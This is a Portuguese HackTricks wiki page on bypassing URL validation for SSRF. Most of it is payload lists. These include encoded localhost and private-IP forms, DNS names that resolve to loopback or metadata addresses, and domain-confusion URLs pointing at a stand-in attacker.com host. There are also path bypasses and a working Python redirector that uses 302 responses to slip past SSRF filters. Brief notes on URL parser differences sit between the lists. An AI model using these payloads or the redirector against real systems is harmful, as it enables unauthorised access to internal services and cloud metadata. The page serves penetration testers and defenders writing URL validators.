# URL Format Bypass {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ### Localhost ```bash # Localhost http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪ # CDIR bypass http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 # Dot bypass 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Decimal bypass http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 # Octal Bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass 127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Mixed encodings bypass 169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal # Add 0s bypass 127.000000000000.1 # You can also mix different encoding formats # https://www.silisoftware.com/tools/ipconverter.php # Malformed and rare localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1 # DNS to localhost localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (776).png>) A **extensão Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa contornos de formatação de IP. ### Analisador de Domínio ```bash https:attacker.com https:/attacker.com http:/\/\attacker.com https:/\attacker.com //attacker.com \/\/attacker.com/ /\/attacker.com/ /attacker.com %0D%0A/attacker.com #attacker.com #%20@attacker.com @attacker.com http://169.254.1698.254\@attacker.com attacker%00.com attacker%E3%80%82com attacker。com ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ ``` ``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Confusão de Domínio ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # On each IP position try to put 1 attackers domain and the others the victim domain http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ #Parameter pollution next={domain}&next=attacker.com ``` ### Bypass de Caminhos e Extensões Se for necessário que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar variações a partir de uma entrada dada para tentar contornar a regex utilizada. Confira [**este post**](https://0xacb.com/2022/11/21/recollapse/) também para mais informações. ### Listas de Palavras Personalizadas Automáticas Confira o [**cheat sheet de bypass de validação de URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) da portswigger onde você pode introduzir o host permitido e o do atacante e ele gerará uma lista de URLs para você tentar. Ele também considera se você pode usar a URL em um parâmetro, em um cabeçalho Host ou em um cabeçalho CORS. {% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %} ### Bypass via redirecionamento Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa solicitação.\ Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde você deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos** filtrados como gopher.\ [Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 #python3 ./redirector.py 8000 http://127.0.0.1/ import sys from http.server import HTTPServer, BaseHTTPRequestHandler if len(sys.argv)-1 != 2: print("Usage: {} ".format(sys.argv[0])) sys.exit() class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers() HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## Truques Explicados ### Truque do Blackslash O _truque do backslash_ explora uma diferença entre o [Padrão de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do padrão WHATWG de que a barra invertida (`\`) é equivalente à barra (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do nome do host para o caminho em uma URL. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ### Colchete esquerdo O caractere “colchete esquerdo” `[` na parte de userinfo pode fazer com que o UriComponentsBuilder do Spring retorne um valor de nome de host que difere dos navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) ### Outras Confusões ![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>) imagem de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) ## Referências * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) * [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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